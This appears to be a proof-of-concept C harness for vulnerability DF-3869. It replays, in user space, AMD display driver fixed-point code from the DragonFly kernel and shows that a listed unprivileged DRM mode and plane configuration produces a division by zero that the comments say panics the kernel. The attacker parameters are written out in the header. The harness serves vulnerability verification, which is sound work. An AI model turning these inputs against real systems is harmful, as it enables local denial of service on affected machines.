DF-3869 / dce839_zero_div.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 | /* * DF-3869 PoC harness: user-mode replay of the exact kernel arithmetic that * produces a ZERO divisor at sys/dev/drm/amd/display/dc/calcs/dce_calcs.c:839 * (horizontal_blank_and_chunk_granularity_factor) inside calculate_bandwidth(), * driven entirely by an unprivileged-supplied DRM mode + plane state. * * All fixed-point code below is copied VERBATIM from the DragonFly tree: * - bw_frc_to_fixed / bw_int_to_fixed / bw_fixed_to_int semantics: * sys/dev/drm/amd/display/dc/calcs/bw_fixed.c * sys/dev/drm/amd/display/dc/inc/bw_fixed.h * - dc_fixpt_from_fraction / dc_fixpt_truncate: * sys/dev/drm/amd/display/dc/basics/fixpt31_32.c * sys/dev/drm/amd/display/include/fixed31_32.h * - fixed31_32_to_bw_fixed: sys/dev/drm/amd/display/dc/inc/bw_fixed.h:87 * - the line 839 expression: dce_calcs.c:839 (copied 1:1) * - the ratio pipeline: dc_resource.c:731-753 calculate_scaling_ratios * * Attacker input (all UABI-legal, passes drm_mode_validate_basic): * DRM mode blob: hdisplay=1, hsync_start=1, hsync_end=1, htotal=3, * vdisplay=16, vsync_start=16, vsync_end=17, vtotal=20, * clock=25000 (25 MHz) * plane state: FB 128x4, src rect (0,0,128,4), dst (crtc) rect (0,0,2,3) * * Expected: prints "DIVISOR == 0" for the line-839 outer bw_div, then a child * process performs the same integer division by zero the kernel would * (div64_u64_rem with divisor 0 => #DE) and dies with SIGFPE, proving the * faulting primitive. On real DCE110/DCE112 DC hardware (amdgpu DC path) this * executes in kernel context => panic. */ #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> /* ---------------- verbatim fixed31_32 (32 fractional bits) ---------------- */ #define FIXED31_32_BITS_PER_FRACTIONAL_PART 32 struct fixed31_32 { long long value; }; struct fixed31_32 dc_fixpt_from_fraction(long long numerator, long long denominator) { struct fixed31_32 res; int arg1_negative = numerator < 0; int arg2_negative = denominator < 0; unsigned long long arg1_value = arg1_negative ? -numerator : numerator; unsigned long long arg2_value = arg2_negative ? -denominator : denominator; unsigned long long remainder; unsigned long long res_value; unsigned long long summand; /* integer part */ res_value = arg1_value / arg2_value; remainder = arg1_value % arg2_value; /* fractional part: 32 bits */ for (unsigned int i = FIXED31_32_BITS_PER_FRACTIONAL_PART; i != 0; --i) { remainder <<= 1; res_value <<= 1; if (remainder >= arg2_value) { res_value |= 1; remainder -= arg2_value; } } summand = (remainder << 1) >= arg2_value; res_value += summand; res.value = (long long)res_value; if (arg1_negative ^ arg2_negative) res.value = -res.value; return res; } struct fixed31_32 dc_fixpt_truncate(struct fixed31_32 arg, unsigned int frac_bits) { int negative = arg.value < 0; if (frac_bits >= FIXED31_32_BITS_PER_FRACTIONAL_PART) return arg; if (negative) arg.value = -arg.value; arg.value &= (~0LL) << (FIXED31_32_BITS_PER_FRACTIONAL_PART - frac_bits); if (negative) arg.value = -arg.value; return arg; } /* ---------------- verbatim bw_fixed (24 fractional bits) ------------------ */ #define BW_FIXED_BITS_PER_FRACTIONAL_PART 24 struct bw_fixed { int64_t value; }; #define BW_FIXED_GET_INTEGER_PART(x) ((x) >> BW_FIXED_BITS_PER_FRACTIONAL_PART) static uint64_t abs_i64(int64_t arg) { if (arg >= 0) return (uint64_t)(arg); else return (uint64_t)(-arg); } /* verbatim bw_frc_to_fixed, sys/dev/drm/amd/display/dc/calcs/bw_fixed.c:57 */ struct bw_fixed bw_frc_to_fixed(int64_t numerator, int64_t denominator) { struct bw_fixed res; int arg1_negative = numerator < 0; int arg2_negative = denominator < 0; uint64_t arg1_value, arg2_value, remainder, res_value, summand; /* ASSERT(denominator != 0) compiles to WARN_ON in release: NOT fatal */ arg1_value = abs_i64(numerator); arg2_value = abs_i64(denominator); res_value = arg1_value / arg2_value; /* <-- kernel: divq; ==0 => #DE */ remainder = arg1_value % arg2_value; { uint32_t i = BW_FIXED_BITS_PER_FRACTIONAL_PART; do { remainder <<= 1; res_value <<= 1; if (remainder >= arg2_value) { res_value |= 1; remainder -= arg2_value; } } while (--i != 0); } summand = (remainder << 1) >= arg2_value; res_value += summand; res.value = (int64_t)(res_value); if (arg1_negative ^ arg2_negative) res.value = -res.value; return res; } static struct bw_fixed bw_int_to_fixed(int64_t value) { struct bw_fixed r; r.value = value << BW_FIXED_BITS_PER_FRACTIONAL_PART; return r; } static int32_t bw_fixed_to_int(struct bw_fixed v) { return BW_FIXED_GET_INTEGER_PART(v.value); } static struct bw_fixed bw_add(struct bw_fixed a, struct bw_fixed b){ struct bw_fixed r; r.value=a.value+b.value; return r; } static struct bw_fixed bw_sub(struct bw_fixed a, struct bw_fixed b){ struct bw_fixed r; r.value=a.value-b.value; return r; } static struct bw_fixed bw_div(struct bw_fixed a, struct bw_fixed b){ return bw_frc_to_fixed(a.value, b.value); } static int bw_equ(struct bw_fixed a, struct bw_fixed b){ return a.value == b.value; } static int bw_leq(struct bw_fixed a, struct bw_fixed b){ return a.value <= b.value; } static int bw_mtn(struct bw_fixed a, struct bw_fixed b){ return a.value > b.value; } /* verbatim fixed31_32_to_bw_fixed, bw_fixed.h:87 */ static struct bw_fixed fixed31_32_to_bw_fixed(int64_t raw) { struct bw_fixed result = { 0 }; if (raw < 0) { raw = -raw; result.value = -(raw >> (32 - 24)); } else result.value = raw >> (32 - 24); return result; } /* --------- attacker input (mirrors drm UABI validation exactly) ----------- */ struct drm_mode_modeinfo_local { uint32_t clock; uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew; uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan; }; static struct drm_mode_modeinfo_local mode = { .clock = 25000, .hdisplay = 1, .hsync_start = 1, .hsync_end = 1, .htotal = 3, .vdisplay = 16, .vsync_start = 16, .vsync_end = 17, .vtotal = 20, }; int src_w = 128, src_h = 4, dst_w = 2, dst_h = 3; int stream_src_w = 1, stream_dst_w = 1; /* = mode hdisplay */ int stream_src_h = 16, stream_dst_h = 16; /* = mode vdisplay */ int main(void) { printf("== DF-3869 replay: dce_calcs.c:839 zero divisor ==\n"); printf("mode: %ux%u htotal=%u vtotal=%u clock=%u kHz\n", mode.hdisplay, mode.vdisplay, mode.htotal, mode.vtotal, mode.clock); printf("plane: src %dx%d dst %dx%d\n", src_w, src_h, dst_w, dst_h); /* 1. drm_mode_validate_basic (drm_modes.c:1103) replay */ if (mode.clock == 0) { printf("mode rejected (clock)\n"); return 1; } if (mode.hdisplay == 0 || mode.hsync_start < mode.hdisplay || mode.hsync_end < mode.hsync_start || mode.htotal < mode.hsync_end) { printf("mode rejected (h)\n"); return 1; } if (mode.vdisplay == 0 || mode.vsync_start < mode.vdisplay || mode.vsync_end < mode.vsync_start || mode.vtotal < mode.vsync_end) { printf("mode rejected (v)\n"); return 1; } printf("[1] drm_mode_validate_basic: MODE_OK (mode accepted into adjusted_mode)\n"); /* 2. calculate_scaling_ratios (dc_resource.c:731) replay, verbatim */ struct fixed31_32 horz = dc_fixpt_from_fraction(src_w, dst_w); struct fixed31_32 vert = dc_fixpt_from_fraction(src_h, dst_h); /* vert.value = div64(vert * in_h, out_h); horz likewise with in_w/out_w */ horz.value = (horz.value * stream_src_w) / stream_dst_w; vert.value = (vert.value * stream_src_h) / stream_dst_h; horz = dc_fixpt_truncate(horz, 19); vert = dc_fixpt_truncate(vert, 19); /* 3. calculate_viewport (dc_resource.c) replay: * clip = stream_src(1x16) inter plane dst(2x3) => 1x16 * viewport.width = clip.width * src_w / dst_w * viewport.height = clip.height * src_h / dst_h */ int clip_w = 1, clip_h = 16; int vp_w = clip_w * src_w / dst_w; /* = 64 */ int vp_h = clip_h * src_h / dst_h; /* = 21 */ printf("[2] viewport = %dx%d (must be >=16 to reach bw_calcs: %s)\n", vp_w, vp_h, (vp_w >= 16 && vp_h >= 16) ? "PASS" : "FAIL"); if (vp_w < 16 || vp_h < 16) { printf("resource_build_scaling_params fails\n"); return 1; } /* 4. populate_initial_data (dce_calcs.c:2793-2804) replay */ struct bw_fixed h_total = bw_int_to_fixed(mode.htotal); /* 3<<24 */ struct bw_fixed src_width = bw_int_to_fixed(vp_w); /* 64<<24 */ struct bw_fixed hsr = fixed31_32_to_bw_fixed(horz.value); /* 64<<24 */ struct bw_fixed vsr = fixed31_32_to_bw_fixed(vert.value); /* 4/3 */ printf("[3] h_total=%lld raw (exp %d<<24=%d) hsr=%lld (exp %d<<24=%d) vsr=%lld (exp ~%d)\n", (long long)h_total.value, mode.htotal, 1 << 24, (long long)hsr.value, src_w / dst_w, (src_w / dst_w) << 24, (long long)vsr.value, 0x1555555); /* 5. dce_calcs.c:475-478 (panning none): rounded up to 128 chunks */ struct bw_fixed src_width_rounded = src_width; /* ceil2(64,128)=128 irrelevant here */ (void)src_width_rounded; /* 6. branch guards on the way to line 839: * - line 804: bw_mtn(vsr,1) && graphics -> line_buffer_prefetch = 0 * - line 820: bw_leq(vsr, 4/3) -> lb_lines_in_mid = 4/3 (not 2, not 4) * => else branch at 838 runs */ if (!bw_mtn(vsr, bw_int_to_fixed(1))) { printf("vsr<=1: prefetch path\n"); return 1; } if (!bw_leq(vsr, bw_frc_to_fixed(4, 3))) { printf("vsr>4/3\n"); return 1; } printf("[4] branch guards hold: prefetch=0, lb_lines_mid=4/3 -> line 839 executes\n"); /* 7. VERBATIM line 839 (only i-indexing removed): */ const int chunk_width = 256; /* dceip->chunk_width, all asic tables */ struct bw_fixed divisor = bw_div( bw_add(h_total, bw_div(bw_sub(src_width, bw_int_to_fixed(chunk_width)), hsr)), bw_int_to_fixed(2)); printf("[5] dce_calcs.c:839 inner sum = %lld -> outer divisor = %lld (raw)\n", (long long)divisor.value * 2, (long long)divisor.value); if (divisor.value != 0) { printf("divisor nonzero -- replay mismatch, investigate\n"); return 1; } printf("[6] *** DIVISOR == 0 CONFIRMED *** bw_div(h_total, divisor) now calls\n"); printf(" bw_frc_to_fixed(n, 0) -> div64_u64_rem(n, 0) -> u64 '%%' 0\n"); printf(" In-kernel on x86-64: divq with divisor 0 -> #DE -> trap_fatal -> PANIC\n"); /* 8. demonstrate the division-by-zero fault primitive in a child */ pid_t p = fork(); if (p == 0) { volatile uint64_t z = (uint64_t)divisor.value; /* 0 */ volatile uint64_t n = (uint64_t)h_total.value; volatile uint64_t q; q = n % z; /* same instruction class as kernel divq */ if (q == 0xdeadbeefULL) /* keep the division alive */ _exit(3); _exit(0); } int st = 0; waitpid(p, &st, 0); if (WIFSIGNALED(st) && WTERMSIG(st) == 8) printf("[7] child performed the same integer division: killed by SIGFPE (#DE analog)\n"); else printf("[7] child status %d (unexpected)\n", st); /* 9. secondary sink, dce_calcs.c:1945 (mechanism demo): * uint32 stutter_dmif_buffer_size truncated by bw_fixed_to_int. */ struct bw_fixed size_one_half = { 0x800000 }; /* 0.5 in 24.24 */ uint32_t min_stutter_dmif_buffer_size = bw_fixed_to_int(size_one_half); uint32_t total_bytes_requested = 1000; printf("[8] sink 2 mechanism: bw_fixed_to_int(0.5)=%u -> total_bytes_requested/%u\n", min_stutter_dmif_buffer_size, min_stutter_dmif_buffer_size); p = fork(); if (p == 0) { volatile uint32_t d = min_stutter_dmif_buffer_size; /* 0 */ volatile uint32_t r; r = total_bytes_requested / d; /* dce_calcs.c:1945 verbatim */ if (r == 0xdeadbeefU) /* keep the division alive */ _exit(3); _exit(0); } waitpid(p, &st, 0); if (WIFSIGNALED(st) && WTERMSIG(st) == 8) printf("[9] dce_calcs.c:1945 u32/u32 by zero: child SIGFPE (#DE analog)\n"); else printf("[9] child status %d (unexpected)\n", st); printf("== END DF-3869 replay ==\n"); return 0; } |